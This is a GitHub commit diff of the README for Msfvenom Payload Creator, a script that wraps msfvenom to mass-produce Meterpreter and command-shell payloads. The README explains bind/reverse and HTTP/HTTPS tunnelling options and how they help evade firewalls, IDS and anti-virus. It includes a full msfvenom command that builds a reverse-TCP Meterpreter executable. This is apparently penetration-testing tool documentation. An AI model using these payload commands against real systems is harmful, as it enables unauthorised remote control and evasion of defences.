You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
v1.3 WAN + Bind/Reverse + tcp/http/https/find_port
+ Add direction: Bind / Reverse
+ Add method: tcp / http / https/ find_port (& allports)
+ Add verbose to help screen (with URLs)
+ Detect & use external/WAN IP address
+ Display any errors from Metasploit/msfvenom when creating
+ File stats (md5/sha1/size) when using verbose
+ Output names include port & direction
+ Rather than limiting what payloads can be create - always create
+ This way when Metasploit is updated, the script isn't dated.
+ Redirect rather than using `-o` (for legacy metasploit versions - Fix for #1)
@@ -9,15 +9,20 @@ A **quick** way to generate various "basic" Meterpreter payloads via msfvenom (p
9
9
Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
10
10
11
11
**Fully automating** msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_.
12
-
The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands**and a **quick web server**etc).
12
+
The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands**, **batch payload production**and able to enter **any argument in any order**_(in various formats/patterns)_).
13
13
14
14
The only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).
15
15
16
+
* Can't remember your IP for a interface? Don't sweat it, just use the interface name: `eth0`.
17
+
* Don't know what your external IP is? MPC will discover it: `wan`.
18
+
* Want to generate one of each payload? No issue! Try: `loop`.
19
+
* Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
20
+
16
21
_Note: This will **not** try to bypass any anti-virus solutions._
17
22
18
23
## Install
19
24
20
-
* Designed for **Kali Linux 1.1.0a+** & **Metasploit v4.11+**_(nothing else has been tested)_.
25
+
* Designed for **Kali Linux v1.1.0a+** & **Metasploit v4.11+**_(nothing else has been tested)_.
[i] /usr/bin/mpc loop eth1 # A payload for every type, using eth1's IP.
39
-
[i] /usr/bin/mpc msf batch eth1 # All possible Meterpreter payloads, using eth1's IP.
44
+
[i] /usr/bin/mpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
45
+
[i] /usr/bin/mpc help verbose # This help screen, with even more information.
40
46
41
-
[i] <TYPE>: (All reverse TCP payloads)
47
+
[i] <TYPE>:
42
48
[i] + ASP
43
49
[i] + ASPX
44
50
[i] + Bash [.sh]
@@ -57,34 +63,55 @@ root@kali:~# mpc
57
63
58
64
[i] Missing <PORT> will default to 443.
59
65
60
-
[i] <STAGED> splits the payload into parts, making it smaller but dependant on Metasploit.
61
-
[i] <STAGELESS> is the complete standalone payload. More 'stabe' than <STAGELESS>.
62
-
[i] Missing <STAGED/STAGELESS> will default to <STAGED>.
63
-
[i] Note: Metasploit doesn't (yet!) support <STAGED> for every <TYPE> format.
64
-
65
66
[i] <CMD> is a standard/native command prompt/terminal to interactive with.
66
67
[i] <MSF> is a custom cross platform Meterpreter shell, gaining the full power of Metasploit.
67
-
[i] Note: Metasploit doesn't (yet!) support <MSF>/<CMD>for every <TYPE> format.
68
-
[i] Missing <CMD/MSF> will default to Meterpreter.
69
-
70
-
[i] <BATCH> will generate as many combinations as possible: <TYPE>, <STAGED>&<CMD/MSF>.
68
+
[i] Missing <CMD/MSF> will default to <MSF> where possible.
69
+
[i] Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
70
+
[i] <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
71
+
[i] <MSF> payloads are generally much larger than <CMD>, as it comes with more features.
72
+
73
+
[i] <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
74
+
[i] <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
75
+
[i] Missing <BIND/REVERSE> will default to <REVERSE>.
76
+
[i] <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
77
+
78
+
[i] <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
79
+
[i] <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
80
+
[i] Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
81
+
[i] Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS>for every <TYPE> format.
82
+
[i] <STAGED> are 'better'in low-bandwidth/high-latency environments.
83
+
[i] <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
84
+
[i] More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
[i] <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
89
+
[i] <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
90
+
[i] <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
91
+
[i] <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
92
+
[i] Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
93
+
[i] By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
94
+
[i] More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
95
+
96
+
[i] <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS>&<TCP + HTTP + HTTPS + FIND_PORT>
71
97
[i] <LOOP> will just create one of each <TYPE>.
72
98
73
-
[i] <VERBOSE> will display more information during the process.
99
+
[i] <VERBOSE> will display more information.
74
100
root@kali:~#
75
101
```
76
102
77
103
## Example \#1 (Windows, Fully Automated With IP)
78
104
79
105
```bash
80
106
root@kali:~# mpc windows 192.168.1.10
81
-
[*] Msfvenom Payload Creator (MPC v1.2)
82
-
[i] IP: 192.168.1.10
83
-
[i] PORT: 443
84
-
[i] TYPE: windows (windows/meterpreter_reverse_tcp)
85
-
[i] CMD: msfvenom -p windows/meterpreter_reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 -o /root/windows-stageless-meterpreter-443.exe
86
-
[i] windows meterpreter created: '/root/windows-stageless-meterpreter-443.exe'
0 commit comments